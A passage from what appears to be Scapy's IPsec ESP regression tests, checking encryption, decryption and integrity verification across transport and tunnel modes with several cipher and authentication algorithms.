data=b'\x93\x9f\x5a\x10\x55\x57\x30\xa0\xb4\x00\x72\x1e\x46\x42\x46\x20' b'\xbc\x01\xef\xc3\x79\xcc\x3e\x55\x64\xba\x09\xc2\x6a\x5a\x5c\xb3' b'\xcc\xb5\xd5\x87\x82\xb0\x0a\x94\x58\xfc\x50\x37\x40\xe1\x03\xd3' b'\x4a\x09\xb2\x23\x53\x56\xa4\x45\x4c\xbb\x81\x1c\xdb\x31\xa7\x67' b'\xbd\x38\x8e\xba\x55\xd9\x1f\xf1\x3c\xeb\x07\x4c\x02\xb0\x3e\xc5' b'\xf6\x60\xdd\x68\xe1\xd4\xec\xee\x27\xc0\x6d\x1a\x80\xe2\xcc\x7d', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert(d_ref.haslayer(ICMP)) ####################################### = IPv4 / ESP - Transport - CAST - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='CAST', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'cbc(cast5)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\xcd\x4a\x46\x05\x51\x54\x73\x35\x1d\xad\x4b\x10\xc1\x15\xe2\x70' b'\xbc\x9c\x53\x8f\x4d\x1c\x87\x1a\xc1\xb0\xdf\x80\xd1\x0c\xa4\x59' b'\xe6\x50\xde\x46\xdb\x3f\x28\xc2\xda\x6c\x2b\x81\x5e\x7c\x7b\x4f' b'\xbc\x8d\xc1\x6d\x4a\x2b\x04\x91\x9e\xc4\x0b\xba\x05\xba\x3b\x71' b'\xac\xe3\x16\xcf\x7f\x00\xc5\x87\x7d\x72\x48\xe6\x5b\x43\x19\x24' b'\xae\xa6\x2c\xcc\xad\xbf\x37\x6c\x6e\xea\x71\x67\x73\xd6\x11\x9f', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert(d_ref.haslayer(ICMP)) ############################################################################### + IPv4 / ESP - Tunnel - Encryption Algorithms ####################################### = IPv4 / ESP - Tunnel - NULL - NULL ~ -crypto p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='DES', crypt_key=b'8bytekey', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) * the encrypted packet should have an ESP layer assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - 3DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='3DES', crypt_key=b'threedifferent8byteskeys', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) * the encrypted packet should have an ESP layer assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - AES-CBC - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - AES-CTR - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CTR', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - Blowfish - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='Blowfish', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - CAST - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='CAST', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ############################################################################### + IPv4 / ESP - Transport - Authentication Algorithms ####################################### = IPv4 / ESP - Transport - NULL - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - NULL - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Transport - NULL - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Transport - NULL - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Transport - NULL - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Transport - NULL - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Transport - NULL - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv4 / ESP - Tunnel - Authentication Algorithms ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = 